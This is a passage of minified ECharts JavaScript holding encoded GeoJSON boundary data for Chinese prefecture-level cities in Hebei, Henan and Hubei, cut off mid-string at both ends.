ln@l™bƒŽ@X@š@š„@Xl‚bnbVb„@„„VJlInlšbVw@U„K„l@lbnan@Vb‚JôLn‚UzlV@lÈLVbVK@LVx—VWXX`WxXz‚bV`UXV¤nx@„bVlVnVlUL"],encodeOffsets:[[117304,40512]]}},{type:"Feature",id:"1302",properties:{name:"唐山市",cp:[118.4766,39.6826],childNum:11},geometry:{type:"Polygon",coordinates:["@@„@VVl@²„lJ„UVVšbČVVb‚@@InV„@‚V„nXx˜JXb‚xUL@b„Lšl@VlI@Wnk„KV@VXnJ@I„Jla°I„W„LVVnkmaUç„WVkôaܯ„@nV°wnJlaV@VUnUUaW¯wXWWwna@£UaWKU¯ƒ¯@aVUkKUamUUƒn»‚an™„IVwUWlkš@„LlWVakU@K„_lƒšbÞU°@šy°n„@„KÈkWW™ţ¥ĉōƒkġWUw¯£¯ƒÇwţwƒ@kK@kƒ¥ÝwÅbǤېťV™lW°@ĸ™x@VVVULVLkl@V@Xƒ`Ub@Xm@UWbƒk@ÆVbnLWV@lnXUbl‚@X¯lmU™VkKWLkK@_UK@U@UmmUxmVXLWVULkU@`W@ULUK@XlJXzV@@xml@VU@UX@Kk@WbUK@Xn`ƒXmJnšmškxUVbUVlVVxUbV@nKlL„kVKÞbVKXI°KVšmVUIUKULVxVJVLkV@Vƒ@UbU@WUU@UbUK@b@nƒV@VkLmb@b"],encodeOffsets:[[120398,41159]]}},{type:"Feature",id:"1309",properties:{name:"沧州市",cp:[116.8286,38.2104],childNum:15},geometry:{type:"Polygon",coordinates:["@@@ln@UȄŽl@Vn„l°aX@mXnVlU„`@bln@¤Xb@nWl@bUx@nnV‚„„V@xnbVbUb@J‚X„x„b‚mXa@k„UVwlW„k„KôVm@w™kkK@kl»Èƒm™VKXkla°@XVV@VI@ml@@Vn@VX@V@J„@VxUzVVšš²blVk¦@šĠ@@»š@VK@VÈLlK@XnJ@alIUl„a„VVbš@„n@a„U@WUIV@mUn@mKXml@lL@LnWšb@XV@@a„VVb„V„@VV„IVWÈb˜IÈ»ƒǟlWšaVUÅUƒƒ™Um@kVU™WVkaUwmaóUƒJUU¯ÑU¥mk™¯UaƒKÅnÇyóXmWÛX¯aċbÛa›J—W™ÝU¯»ƒaóóUm@IƒšVVl@bƒLUJWLX@@xšXUxl¤V@V„nVUV„XVbVš@Ž„@@VVn„°VŽ@ţU¯VƒUmƒUWV@mUXƒaƒbUKUwUaÇKn„ƒVk¦Wb@VnLmV@bkV@n„xW`Å_UVƒV@bƒUklVX@VmlUƒx@VVL@x—VWVL@VW@UUm@"],encodeOffsets:[[118485,39280]]}},{type:"Feature",id:"1301",properties:{name:"石家庄市",cp:[114.4995,38.1006],childNum:19},geometry:{type:"Polygon",coordinates:["@@la„@šy@U„I‚m„VXIVJšw„@lb„IVVnV‚@VVœIVVlašK„bVU„VVI„mVa„aV™„kš¯VanwšVlUnb°@lm@wX@@VV@VK@_nWlknwV™¯¥Van@VX‚@„W@U„V„IVxnmÜUnUVJV@„šnI@wValKnV@k‚mU£na@mVk°K„LVa@UU@UƒmknWWkXU@aWW@@km@UaU@@klK@UkaWaUnamm@U„a¯wWU@UkƒL@ŽUn@x™V™lUXVJUb™LmU@aUWUkmKkLUUm@mW—XƒaƒmmkkWUm@@U¯JUUm™kU¯@mKĉxÝwÝ¥LƒUóŽmwkUUUWVkKm™kKmLX„lxVLVxXJ@nVJnz@VWL@`nX@šƒxƒ@kVUUmJmIXx„JV„ƒnUVƒ@UVV„@LUšƒ`UXVVƒ„ƒlXL@l@b@VmX@b™xn°™UƒbkKWLXlW@@bƒK„mKULmakLUlmb@šXb@xmXU`V„b@`lLx@nWVXL@‚°WlXnlb„KVK„XVb@˜X@l_lJ@V@XnŽ„I"],encodeOffsets:[[116562,39691]]}},{type:"Feature",id:"1305",properties:{name:"邢台市",cp:[114.8071,37.2821],childNum:18},geometry:{type:"Polygon",coordinates:["@@nKlLnšlLXUVVlVnxô„V‚KÞ¦ÞxĊwnL°@lVnšVV°I@Vn@V‚lXnl„n„b˜WnXn@VVlKnLVlVX@bnVšKVaUIVWškšU@wVm@¯@U¥VmU_°lšK„k‚w@LX‚Va„U@wšUƒUUKlUóW@UVUœUlƒ°K„wlKU_na„KVnlKkkšWWa@IœJVa@IlJnU@„KVUUmVlaXUl@lm@kXWÝÑnkƒ™±™k@wğ›@@U@mKĉLmVJ@zmlnŽWLUÝJU_ƒ@@šmJkXUVlbklÝ@Ýa™b¯@¯±JÅwġaUU@ƒkU™@mVI±bUKƒL™WUXƒJkaƒLóKULWbUVkKmnk@@bmLUŽƒl@b@mnmJkUULƒaƒbnŽmn@lVV@¦n@„l@b‚znx@`Vz@b„xnV@xl„lbnKVx"],encodeOffsets:[[116764,38346]]}},{type:"Feature",id:"1304",properties:{name:"邯郸市",cp:[114.4775,36.535],childNum:18},geometry:{type:"Polygon",coordinates:["@@„bVKlVnInm‚@@a„kVnK@al@nmlLVUXaVKôL„Klb„IVWšX„KVL²a‚JnUš@lV@„VVĢbÆx²I°Ž°@šaÞbÞ@lkkaVUlWnI@™„@V`ÞI‚VXKmnk@y‚InUĊKƒÇkUUamUUkƒƒ@aU@U™ƒk@WUwVkVJVkkw°a@„mK@UX@VV„LVW@wšwVa@¯Xm@@lUIWaU@UWkXWmU@UwmUkKmn@lkVƒ²™VƒaULUVmJUUUwƒLma@™UmkIUm›L—mVšmx@b™LUamKÅL@VmbkU¯KÝamzkJUb±Vkb™L@lU@WIkJƒzkKmKƒnUalWkkKW@@nkbk@WW¯XUVUJ@XlJ@Xƒ@XlWLkUƒ`VUnaWa„UV@UVIƒaUxUUmVƒK@I@W@DŽU@@U@bƒ‚@nmKXmx™@UxkVWUX„@`VLlL@`™zX‚Ýb@b‚„@VUVkIUJVz°KVlnLlKnL„xlLVVUVlXUJ@nn‚„I@mVUlbn@@Žm„@bV„nV"],encodeOffsets:[[116528,37885]]}},{type:"Feature",id:"1303",properties:{name:"秦皇岛市",cp:[119.2126,40.0232],childNum:5},geometry:{type:"Polygon",coordinates:["@@lnV@Xb˜škx@lU@@LUVlV„LVbnl‚ašLXVVn‚l„I„V„U„JV@UnĊ¦la„bš@nJ°UmƒV@„wn@VU„JVI°bnWlXnWVLVK²b‚akk„lI@aUaVƒUwVUUalaVwnUVak¥šX@W‚kœLVÓm„mUK@_lWš@n_UK@alÅ@ğÅƑŃݍmƒ@їţÇlƒLƒ@¯m™z¯@ÝV™ak„ƒ`@LlVUbkXƒK™@klVXUxƒJmšbm¼V„nVVblLUV@b„°V°XLVb@¤mbXxWX°xXŽVbmVUVU@kbmI¯xmUƒ@Û°óbUl"],encodeOffsets:[[121411,41254]]}},{type:"Feature",id:"1311",properties:{name:"衡水市",cp:[115.8838,37.7161],childNum:11},geometry:{type:"Polygon",coordinates:["@@„KVlV@X°xƒb@VnnmbVŽXblb@VkL@lV@Vbn@@l‚@XX@bWVXlmXnlV„V@@VUbƒK¯LUl@nmbV¤n@l‚LXnlVUV@ln@lb„UlLnV@bV@@wlaXJVbnUVbVUš@VVšLVVn@VVX@@U‚KXU˜U@wUK@U„wVnk@UUWlk„V@a„UVUÆ`X_ƒw@mlU@anUmK@UXal¥„UmƒÈLVbVxVL„a„bVW@nXU‚Vn„„V°UŤV@Uƒ¯Um@Uƒ@@U™UaƒWVUmUUƒU@k£Vw™W@wW@XKƒIUa@wU@@al@UK@_mKXKƒbUU@aVKmš@Xmƒƒ±@kbÇakLğVaUw@a@ƒmkUJƒk@ykw@£ƒWX@lknk@WVkbUŽVnUVƒL@‚mVkI@JUb›I@JXb™XllkLUmƒLmbV`kLƒx¯Lk„›VUV@VôXkVVL„V™V@xƒVUbW@Kxƒl™L¯kV`UnV¦°@"],encodeOffsets:[[118024,38549]]}},{type:"Feature",id:"1310",properties:{name:"廊坊市",cp:[116.521,39.0509],childNum:9},geometry:{type:"MultiPolygon",coordinates:[["@@la„Ušš@šUnL@VWbklWxnIVV„V@X„JlbUlšXVbn@@K„mV@@X°WVInJmn²@lmVbnL@amKV_kwlmX@@LVamaXaƒaVU@UnJVanLlUkaW@UaVakK@IlKUU@an@ln@alKUƒkIVa@a@klaUKUV@UkUV¯šKVƒV@kUmƒU@@a¯ImJUU@VV@UL@Uƒ@@WXUWa@Ukwm™@ƒX@@w@al@@aVIUmVUUUVWUknK@I@™l¥kU±a™™UUVyUwƒ@@I@UUWm@@Uk@@nUJU@WU¯@kbWlULnšÇ„k¼@llLšl@xUnóŽƒLƒlkXUxƒV@lWb„I„`°nnn™llŽV²¯x@JkbƒLU„VxmJX²@ÒWVÛL@lln@‚Xn˜šnV„L"],["@@@kX@Valaa@KWI@UXW@WanaUIW@UaUKķŽk_W@UVUKUš@bƒ@UamxVXnJUbWVXLVbn@W°kb@U@Wó¼mIU¼k`V„@bVbl@„lX@lUôVlUœIV`lX„Vn@lUlVn@„l@UVaƒIUWl£Um™VWU@@UUKlUUUnƒVL@KšUnLVWUa›@™U"]],encodeOffsets:[[[119037,40467]],[[119970,40776]]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/he_nan_geo",[],function(){ +return{type:"FeatureCollection",features:[{type:"Feature",id:"4113",properties:{name:"南阳市",cp:[112.4011,33.0359],childNum:12},geometry:{type:"Polygon",coordinates:["@@lKl@nVV@„bn„@VVnm‚nL‚LXx@š„‚VLlKVU„IXWÜ@șlbl@XUĊUlwnW„LÞw‚m@ÞUVmnVl@nX‚JXLm@VnnJla„I@VkxVb„@VŽln„J@knKVn„@°aVanal@XK°b„‚@š¯VJXIš„VK@al@nV„k‚@nK„a‚b„@XL@blVVKVLXK„@VaVI°mVaX@V_@a@yUkVw„VšIVašJ°™@anIlaV@nKnXÆm@wUUV±UUWUKnaWwXUWmٝVƒam@kakImƒUKƒ»lan@VXXa˜W@@UlUUa@a@UlwUƒV@Xal@@anIVaUK@V™XmwVmUmV„LXl‚@nalLnal@„šnKlkV@@UnJ‚UXnl@nVl¦V@@VnJ@nUVVVVIn@Va„JƗn@@K@m„kƒa@kmWVaUI@a@™k@@aUL@mmaVIUKUVƒ@@IU@mƒUmmL@K@UUUU@mW@@nU@ğ»mVmbk@klW@UXnV@LƒJm„™lUnUJ™UUUWƒƒ@UnkKƒxmLa@ƒ@@lUU™bmUVWk@@nkUmam@UakJU_ƒVm@ÅlÇLUVmVUwULƒKU@ƒk@UƒVUlU@@Uƒ@UaUUWaŎƒzJƒaWLkl™b@bmL@„kKƒabWŽUVƒ_@mV@b¯JmXUbUK™¤ÇLUU@b@JkLWmkUWIkJ@VmX@JUbVXU`¯VV¯blK@LXKl„UV@Um@@Uk@kxWŽkbƒL@KkbmL@‚UXmaU@@l@x@blX@xUJ@bULUlULÇ@@VšnU`W@@nÛ¼U@@VmKUkm@VVX@@xǚ@bUbVb@VX@@x‚LUb@lƒ¼XLlbUlVVU„Ub@n"],encodeOffsets:[[113671,34364]]}},{type:"Feature",id:"4115",properties:{name:"信阳市",cp:[114.8291,32.0197],childNum:9},geometry:{type:"Polygon",coordinates:["@@VllInJlknJVkVU@mXlUÞ`VnV™VU@U@y„@nXlKV„nJVkXKWaXI‚b@yVk„VUkVwn@‚K@nW@k„KlUXVVUlbnUV`n@V_V@llX@@V„b@bV@@nlVUb¯‚WLnbmb@ŽnLnK˜b„U„bVWnLlaX@VVUX@Vln@`kL@ll@VXVJÈIVl@XÞJ°Una„LlylU@UXKlnn@lanLWWnbVI@KXKVL@LVWVL@UVKUIVWX@@XÆJ@In`@lJVI@a„WšÛnK@UlK@UU@VK„nlm„nXal„UllLUbVVšknJ@nV@Vm@a„l@@xnV„„lJVUU@™w@aƒk„@XW@_mWnUlŁUmVKV@VXwW»XƒWaUwnkWUkVUƒU@@@WlaUkkaƒIWVkm¯xmIUmƒLUVƒaUIó»m@mmwXk@a›mk¯¯l™@wƒmkLmmU@UbkUWJ@XUbƒJ@b@l@znÆmK@Xk@Ub@lm@ƒI@akmVKUUVUkU@U±JUbkƒ@IWmkxƒa@UUV™UWVkIUaW@UlLWn@VkJƒI@VkK@L@bmKƒkJmUUaUKWXk¼VxnJ@„V@@VULV¼ƒ@@UkaUlWL@U@W@IkKmL@KULUWULWKUXUJmIƒb—KƒŽƒ²UW™nWKUUkLUƒmUUam@UU™@ƒmUL@xkV@„VV@bmV@Vk@mwkUƒVUx@mbX‚ÇnVb„‚UL¯šWŽnUVLVb@xnlWnU@UVUVVUbVVlVkn@llVUXUWUXVbUJ@bmLUJnb@nVK@bl@@š@bVJUbnX@l„b"],encodeOffsets:[[116551,33385]]}},{type:"Feature",id:"4103",properties:{name:"洛阳市",cp:[112.0605,34.3158],childNum:11},geometry:{type:"Polygon",coordinates:["@@VVUllLXl@LWn@J„@bƒKUVmnL@`VblLnbV@„b@JmL@LnV@VV@¯„VJVnXL˜@nm@aÞ@‚a„k@m„IšmVbXL‚ynLšk°@°aVJnUV@UVVXk@WJ@VXLlUnJVnnƒ°U@»°U„wl@šb„WmUXƒÆ@VLXU@m@U„a@I›mkb™a@naWW@_@WXUV@@U‚ƒ²@„K@I±U@¥kKWLóLlƒa@£Um@kWKXU@mlLXUVKUU±J¯_@`UL¯Wmk@Wa„kkƒlUnƒVUVaU@KUU@mmK@_ƒa@KX@VaUIm±™k„aVKVUkw™@kaƒƒW@kbkL±UUaƒK@UUKVak£ƒ@UmmL@lƒIkmUƒ@Ualw@UƒJkbmIUmn@WKImWk@mUUnÝV@ށnÝxƒKmXkxĉVWVk@kaċšÛ@WXƒJUV@zŽm„VWnbUbVbšLlUnŽ‚lUÒnWV—VWnk@@Vm@kxm@Un™l@Ll@@V@šXnƒškJV„šV@nlVXx˜U@l„n@aš@VLnWĊ¦nxš@lbVKXLl@ރVLƒ„XJl@XXl`lIXVl@Xl‚XUVšK„wV@lanx„zUbVJ@VVX@b"],encodeOffsets:[[114683,35551]]}},{type:"Feature",id:"4117",properties:{name:"驻马店市",cp:[114.1589,32.9041],childNum:10},geometry:{type:"Polygon",coordinates:["@@n@„b°UƂXnVlnLÜ@VLœm@n˜@na@J„„m@k„@lVšVxXX@„V`lLV„XVV@VVÞLVV°„²@lašbnxV@@b„Lšmlm„_VWnIWUna@lšLšbnV°ƒVL@KšV„LVUVaVLXK@mÆXna@wVm„a‚@Xw@KlL@a„@Va@wUkaWnIVƒla@Kn@Vn@VUl@nKVn„J@LnK@aVkVUUWƒ@VakUVanI‚²X‚W@UUU°KnUVLl@XaVK@ašU@KUI@W@_lm@KkLUKV_Uƒ@»@UVJ@XV@@mVL@K@U@Kk@VwUUm@kmWL@VkVkzƒKmb¯VÝI@WUkÇJUIUWk@@klK@_km@UVWUUW@kbmKUXƒaƒV—amLmK@namaXK°VakU@mU@@aƒa@UW@kkU@U`m@U_mVkaUVWUkVƒL@lmX@ށLm@UxVlƒUUl@zaWJXbWLUlmIUƒkLmWƒ@@z@VUVUšUmÝ_kVWŽ@nUVUlmIklmIkJUkƒl@n@Lm@؃IUbm@UJUUVU@mmI@UU@k¥mUk@WmVmI@VU@klmLƒ™k@mbkKmb@WkƒKUŽVnUnnxšW@UVLUbmJ@bk@WbU@V„kx@V@bVbkV@V‚@‚—XWbUWm@kb„¼VLn„lJlb"],encodeOffsets:[[115920,33863]]}},{type:"Feature",id:"4116",properties:{name:"周口市",cp:[114.873,33.6951],childNum:10},geometry:{type:"Polygon",coordinates:["@@lšnb@xlJ@UnLlKXUlJl_„KnV@xVL@bkbVVUè@šWb@„Ubmš„ŽkšVšmbX„VJnUl@„a°@@b„LVbƒlXx˜InmnLVw‚anJÆw²IlmnXVl°VVbÈaVb„@lkn@VWnLlUVmÞUUklƒkƒVkUaVaVaUw™K@kkaVWmw„_„‚l@nU„VVb@b„aV@VV@zXJl@@kl@šlœk°WVnÆbnbUšVJ„Iš@VKVm@k™K@_kK@a@aU@@wW@@k@aUW@IUWVUnLlUlVXKVwmk@W@—VWa„¥@k@lnƒUIÇKUaU@ƒUUVmIUV™Uk¥ƒVma@¯k@Wanwmƒ„@@n@@m@UIVƒkUVamUXWƒaV™U_™@ƒmUVUImW@aUIĉK@VmI™b@lU@@n™JƒkU™@KƒIUmmLk@UVm@UŽm@@LkbU„mJXlbV‚@xUbƒ@@bkK@LWx@ƒbUn@xmbÅW@nWLUKUbUVƒK™U@LUK¯„mU@šVV@xULUŽVL@bU`WšUz¯aUamKUaƒ@@xkX@x"],encodeOffsets:[[116832,34527]]}},{type:"Feature",id:"4114",properties:{name:"商丘市",cp:[115.741,34.2828],childNum:8},geometry:{type:"Polygon",coordinates:["@@XVl@lLȃ„@VkV@V»UanƒWX@VaÆÇô@ÈaVX@xVJXUÞU‚aVLĸbXKl„V@šm°Vn_ny˜XX»mUk¥lK@a„_@yšInaVKVa°_@WXI@ƒ@K‚VnIlbnaV@„l„@‚a@_w@ƒlwUKm™Xa@UV@š»Vƒšw@kUKVUUm@w±VUXUKUwmJUUƒ@km@@±mXkmUI™@mm™KUwkbWakLWaUIkJmŽƒX@l@@VUX@JWbX@VbULWbƒlUVULknlV@bVJk„mb¯KknWmk@@nmVkx™@ƒVmU¯KUnUL™@ƒJUIV™maÅaUm¯X›l™kk@@lk@WI@yUUU@ƒb@aUaƒUmVk@ƒƒ`nxUXlb@lšLVxUbUbVbUll„k„VlÝVUnkVmKUXm@klƒ@ƒnUx@xnxƒn@`VX@V²x@V@b@„Wl@zU`VUVVb„L@Vƒb™W@bkXllkLWV@V„@VVÈwlVœ@@X˜K²Llb„WnnÆL@VnJWn"],encodeOffsets:[[118024,35680]]}},{type:"Feature",id:"4112",properties:{name:"三门峡市",cp:[110.8301,34.3158],childNum:6},geometry:{type:"Polygon",coordinates:["@@WKUmUI°ƒU@@UmU@KnK@IƒaU@makKUa@_‚KnmVU„L@a‚ƒ@IXm@KWkkKVkUU@aUW@UUIVaƒymwkbU@ƒx™LVUWWkk@WUkJk_WWk@WI„ƒUK݄k@WKULka™@mwĉ¥mXUK™@@bƒm@k—VWwkU@m™UUƒlI„™Wm@™@Uk@@KškVmn@lwn@@Ul@Xm˜UXUmVсkmkV™KUaVamaUXnƒ‚@ykLUKƒ@™WwKmKnUm@UmƒƒaU@mUk@kL@lƒxċxUnkVmnXxWb@`kzWJ@V—LmVUn™lmUL@lW@Ub@VšXUbš`VLUbUJ@nmnUlUUm@@bUJlnU„š‚U@lxkbƒ@@XƒJUnƒ@kb¯VVVmlXXlJlzn@VlkVW@bkK™bmškŽUbVb„lƒXVxšKÈnšwÞlĊKlšVnKlwX@lL@xlUnVn„@šl@lmX@ƄÈb°¼ÈwVJlx„_°xšašlšUÈxlUnbVxnL@lllšbm„n@nb‚@@V„L@V„@@„VLšJnIVVlKnV„_"],encodeOffsets:[[114661,35911]]}},{type:"Feature",id:"4107",properties:{name:"新乡市",cp:[114.2029,35.3595],childNum:9},geometry:{type:"Polygon",coordinates:["@@XVlL„K°bUblbUbšl@nX@W„XVVKVkš@@Žmb@„Ubn„W`kL„LƒV@VVLnKlVXIlVš@@a„@l£nWlƒkVa„@°bnUlLVlna‚bnUVUXKlU@ƒ@lk@a„I°y„@ôkUU@wšmôšnkWakml™UkVmkUlmUUm@nkUKWanamU„LXW@U‚VnUln„`l„œblL°KXV@ĠJ@L°„šJšUVw„anK@UUImmƒkK@¯±Um@IVmUmmÅnWaUK¯aUk„w@W±kVƒx™U™VƒwƒnÅJUIWaÝJóI—bm`ÝbÅImJUI¯¥¯@mU¯UƒJmnUVóUkl±V@zXl„bWVXL@bm„mº@@XmJUXU°llk„@nWJk@U„@¦U`m¯ŽWx"],encodeOffsets:[[116100,36349]]}},{type:"Feature",id:"4104",properties:{name:"平顶山市",cp:[112.9724,33.739],childNum:8},geometry:{type:"Polygon",coordinates:["@@l¤UbVL@V„LVb²VlKlaX@„„lbš@lxUVULƒbšln²VJUbW@@L„b@`nL@nVV@LVŽUbUVm„kVl„ƒlXbl@Xn°ŽVK@_°`²IVVV@VUVJnInaWK@Uš@„K„LÆ@nmlXXWVUUw@klKVa@knyVkVanI‚JXUl@XbVUl@@aša@mXk‚bnK@UlK@UUUVaXaWmkUm¥n—WmXaWaœkl@VmÞb„KVL@aVI@mUwVm„@KōméUL™KVaUk@kUK@U˜WXI@VlKXU‚@VVnInVV@VLlK@UUƒkKU_@ƒWWUwU™@klƒn@ƒƒ@Imb—@@m›nUKÛ@mKUkWVXxmbVLXŽVVU²VV@xÅnmWmLU@kbmJ@b¯š™IUb™JƒUUxVl@z@bU`W@Ub¯nUJUbƒ@WLUKULkU@aWKƒ@aƒbmL@ƒlmUk@@bUL™ƒWJUI™°@ƒŽ¯aWLk@mbUb¯b"],encodeOffsets:[[114942,34527]]}},{type:"Feature",id:"4101",properties:{name:"郑州市",cp:[113.4668,34.6234],childNum:8},geometry:{type:"Polygon",coordinates:["@@@nWVUKÅ@W„nVnI‚ŽV@œkƂšwV@šnn@lxÞlnôJ˜zXJl@nalUČVlƒl@²UlkôVVUnm„I°VnV°@°¦VJnIÆJÞan_VmU@ama™@kU˜¥kaUklw@UIV¥kVUI@ƒmmUÅmUlƒwVU@amU—JWbUakVƒ—Vé¯Im`ƒk—@ƒwVWmLkU¯ŽƒXkWmLmx@UUƒbm@@x™J@LbW@UUVWUkVKƒ@ka™IUamKUkkmmLƒUkJUVWXkWmnÅ@ƒKƒL™@@VXLmbmJUIUVU@ULWVkK@nWVXL@lVn@¤„b‚kôKXKlL@¦²V@JƒL±@„@VU@WV@X@`XXmb@Žšblaœn@Jƒb@V"],encodeOffsets:[[115617,35584]]}},{type:"Feature",id:"4105",properties:{name:"安阳市",cp:[114.5325,36.0022],childNum:6},geometry:{type:"Polygon",coordinates:["@@°kVaV¥kVmUkWkWVkVKUwkkmKUU@a„wWWXWakKWkXmlašIVmX¥ƒU@a„@WnK@kƒƒ™V™I¯ƒ@KğI@WU¯LkK›akƒƒ_kmmVU@VWXƒKnVmbXbVLmln@VVknlVUnVlkšlnXbmlmlXblnÈlWbn@@nšK@V„L„bVV°VVzšlnš@V™xƒI™b™ŽU@WLUa¯V™UkWõ@¯kkmxk¼l‚„XUlVbVLnlULmU@lƒLkVUlƒX@xW@¯mUƒ@UmIUW™L@aXa˜kU™¯anƒWk°@k™kKmmUIWaambUkkKmV¯aƒ@UblŽk„mXk¤ƒ@@b™@UbULWVnb@lUVVnmšnVVU„J@bWXX@WJkL@blVU°UV@XlWnXUbW@UVkVšVWbnLUJWLUK@Lnn@blVU‚„nUblxVUVJXU„a˜@Ub„LnUVV@mVIVVn@UbV@‚XbmbUV„_lVXUWanJVI@WkI@WVIVU°WXXl@la@mX@lLXl‚kVbœm‚X„ylIXJV@@kšKla²UVa„IVyÞb°LlVna@UÆKnLVbšK@anwU™"],encodeOffsets:[[117676,36917]]}},{type:"Feature",id:"4102",properties:{name:"开封市",cp:[114.5764,34.6124],childNum:6},geometry:{type:"Polygon",coordinates:["@@lUVbXa˜InV@bUV„x‚knVVÆnn@„VJlUU¦VJ@kxVllb—¦lVš@nb@bVŽUn˜aôJÞIXbVJÆI„m„xšUšV„w‚U²l@XƒxVl°bVLXb‚`XklUnmVblLœ@lmšx°LVK@UXIVašWlL@Ukƒ°KkVaVUXmmI@UÅKmmƒXka±K—L@W›@kUÇxUUƒ@@UXUlKkklW@ašX„a@UƒKUaVUUV_@yXk@ƒ@a@U±w@UUW@_„mmw@wVw„mUaÇbUa¯UUkmWkn±JÅxmIbUxmKmn—JWw„kUaƒK@a¯@ƒbk@mVUIWƒ—Lmwm@Ua@WJUb@LUl™@UUmLUbWJ@VL@VmXWWzUJUꄘ"],encodeOffsets:[[116641,35280]]}},{type:"Feature",id:"4108",properties:{name:"焦作市",cp:[112.8406,35.1508],childNum:8},geometry:{type:"Polygon",coordinates:["@@V@VL@x@bXŽWV@XkššlUŽWX@J„@nI@KlL„KšUVaV@œJlL@KUk@KÞL‚l²_‚@nWlL„UVVš@nLWVUJVn@anV@a„wÞUVLVx„b„@lW„@lbXn‚Vn@@¼šL°mšKVn@bnl@nVK@blb„L„W„U@VWLXV@nlKn@lVVbXw°nV_@¥Vƒl@XI@mlƒkkV¯VWnI@W‚@n¹nƒ@aWKXUƒaWk@yk@k„ċUkVmbk@WI—yóImÝkkwm@™mU@™xŁ›lU@mJƒX™ak@ƒx¯V@¼¯Vm„UmmIkVWK@UXIl@UWVUU@mVUI¯b¯@™lmKzWKUa™nƒJ@nƒlbÝ@@b"],encodeOffsets:[[114728,35888]]}},{type:"Feature",id:"4110",properties:{name:"许昌市",cp:[113.6975,34.0466],childNum:6},geometry:{type:"Polygon",coordinates:["@@lI„VnKlnVlnLVbšJlb„@ULVlUXVVX@‚a@KšI@wn@„aVV‚@nwnKlX„W°lVnKUX„x˜@„ln_°JVIXy‚XnW@U‚K@UXIVanKVVš@Vk@KVaXI‚@Vbn@nx˜KnaU™l™ƒn™Va@ƒXa@™VçUUla@aUK@wmUƒLk`kIWVkLmK@V@XUlƒn@JXV@nm„™bU‚óIƒmUa±@@ÑóVUUk@UlKVU@akWVUUlUUaUK@UUKWbUkÅJ@XWaƒ@XbmJ@nUJ@bUKƒLÝaUnk@›lXbWbXnm˜n¦lVXnWbUbVV@VkL@VmLaWl@n™b@bk@UVWak@WVImJUbUlmz@lUbkL@lVx"],encodeOffsets:[[115797,35089]]}},{type:"Feature",id:"4109",properties:{name:"濮阳市",cp:[115.1917,35.799],childNum:6},geometry:{type:"Polygon",coordinates:["@@lLXbW‚XXƒx@bVVnLllVxULUl‚XXlVlUnlŽU¦Ub¯l˜nœK@V‚bVb@šXbVL„KVxVVnIlašb„a„¥lU@wnalLnVVlVLXnlWVXn@@lVI@WnU@mƒÅW¥—aW_k@WwXy@kmƒ@wU„mš„š¦šlUxVLV@UwšJ°xš@VX„@Vb„@š`VX@VX@llšIVbnJlI„bšV„l„˜J@ƒmѯLóa@ƒƒKUa„k™ƒ™Xƒ@UK@wU@ƒlWUUݯImW¯aƒLUKU@ƒkƒ»k@mƒwƒa@UnKWI@ƒUU@akVWK—k@a±ƒbóUWKXUmk™KUmLƒbUx„„@lmLXŽƒ@@b„VW¦Un™JkbWnXl"],encodeOffsets:[[117642,36501]]}},{type:"Feature",id:"4111",properties:{name:"漯河市",cp:[113.8733,33.6951],childNum:3},geometry:{type:"Polygon",coordinates:["@@@Lƒ‚UnVxnIWa„@Xb@WÆIVlXaVL@VVLVbkVVŽUVlX@bUVkLV‚l@VVôU@Ò²@Vb„nôJVšanƒ@mWU@I„mVk@WkI@wmak™@wlW@w„@VbnLVb°bVyX™V_@aUKVVK@wUU@™™a™K@kmbXVmJUXƒ`kn™nƒK@aU@mw™akb±@¯ƒUUÝKUUU@WU@VkLUKU@mUmJUU@WVkL@UWJ—X@VVL@lVlUbšLVKnêÆŽ"],encodeOffsets:[[116348,34431]]}},{type:"Feature",id:"4106",properties:{name:"鹤壁市",cp:[114.3787,35.744],childNum:3},geometry:{type:"Polygon",coordinates:["@@ó™™n@xVVólƒ@¯zƒJ@bkl@@„kVWLUVmVXbVJnnlLlš¯@Xlm„°bVš—lWb@bšKVXnJ@VV„°nX@@w„WVklU„K@knVVKmkUKUaVkƒWkl»nwlްlö@lXšV°UVbXKV@šša„Jšw@Um™™kUy¯UUUƒaƒK@U™L@mm@XaÇkkmWank"],encodeOffsets:[[117158,36338]]}}],UTF8Encoding:!0}}),i("echarts/util/mapData/geoJson/hu_bei_geo",[],function(){return{type:"FeatureCollection",features:[{type:"Feature",id:"4228",properties:{name:"恩施土家族苗族自治州",cp:[109.5007,30.2563],childNum:8},geometry:{type:"Polygon",coordinates:["@@VK‚bX@lbUVnL°„@VlVnUl@VUX@„aVƒmaXƒlašUUU@wmaVUn@Vƒnmmk@m™U@kna™aU¥Vam™X_@WƒU™mW@_kƒVaVKnL‚lœ@VVal@k¥@kUW@kUKVUlUVсW@kÇaU»ValmkUVUVak™@aƒV¯_@W‚UkmVUlU@aœƒƒalI@akkVWUaWXUWwœWVbÆ@„„l„alIVK@U™m@UU„W@al²a‚¯UağÇm@ƒbkk@wƒ@@W™aULmxƒIU‚™ƒb¯@U`UX™JmL¯aƒKX›WUL@aknmK™@aWUXaWm@I@UÅmVU@™™aUV@b™VƒI@WkU›bXkm@VakwUKULWKXmJ@XUK@ƒmL@KUwVaUI@KU@mmn™mXka@»V@@UUaƒw¯yVk@ƒUUVmmkÛÈU@mWUnmx„šmlUbV¦UlbWVUL@UUƒ™IUmÇKV„VbUVVxkn™LUxV`VX@š„„kJVVUXWaUVVlUnmKUbkI@WULmK@L@LVlƒLnmUIWV@aknƒ`VXUJIVlUVVbUX@¤mbnLm‚m@UXk@mm@Ukaƒ¥@kV@@KkU@aUKWbkLWVkIVŽk@UbVlmX@bU@@mmL@bn`@Ln@llVLVk„@XVVU@`VXUš‚¼k`VULka@VllVIn¤VU@@bl܃bkx@bkL›škKƒn@bn@@b@JUnV`UnVbVKlVXUlbn@°ƒVx„@@b„nVbUllVn@V—VK@UnW@UVUšlnk‚VÈޚxVb„VVI„xVaÆ@@aka@UVaU@@a„k@Wl@nbVIƎ@Jk@„L@VlXnlla@VJnw@UmwXU@aVK°ÒnllnLlb„xnKVaV@l¦²nVl@llL„x@XVVœ‚͐š@našx@U@al™XUVa‚LÈþV°XxWXkK@šmLnlUb@b‚xnLVlVVkb@UJ@xWXXš"],encodeOffsets:[[112816,32052]]}},{type:"Feature",id:"4203",properties:{name:"十堰市",cp:[110.5115,32.3877],childNum:9},geometry:{type:"MultiPolygon",coordinates:[["@@@a@w@kV@nbVK@ƒnUla„@la„Ål@nlVakwWX@WkLšaVmšwV@anK@UlIXmWkk@@mmLkWlwk@U_mKXwWK@U¯K@UU@ƒVUa™kmƒkI™yUUVUmanU@mlwkƒ@_mWXaƒUWU@ǃ@U@aUaVwUKUIƒVkK@UWIX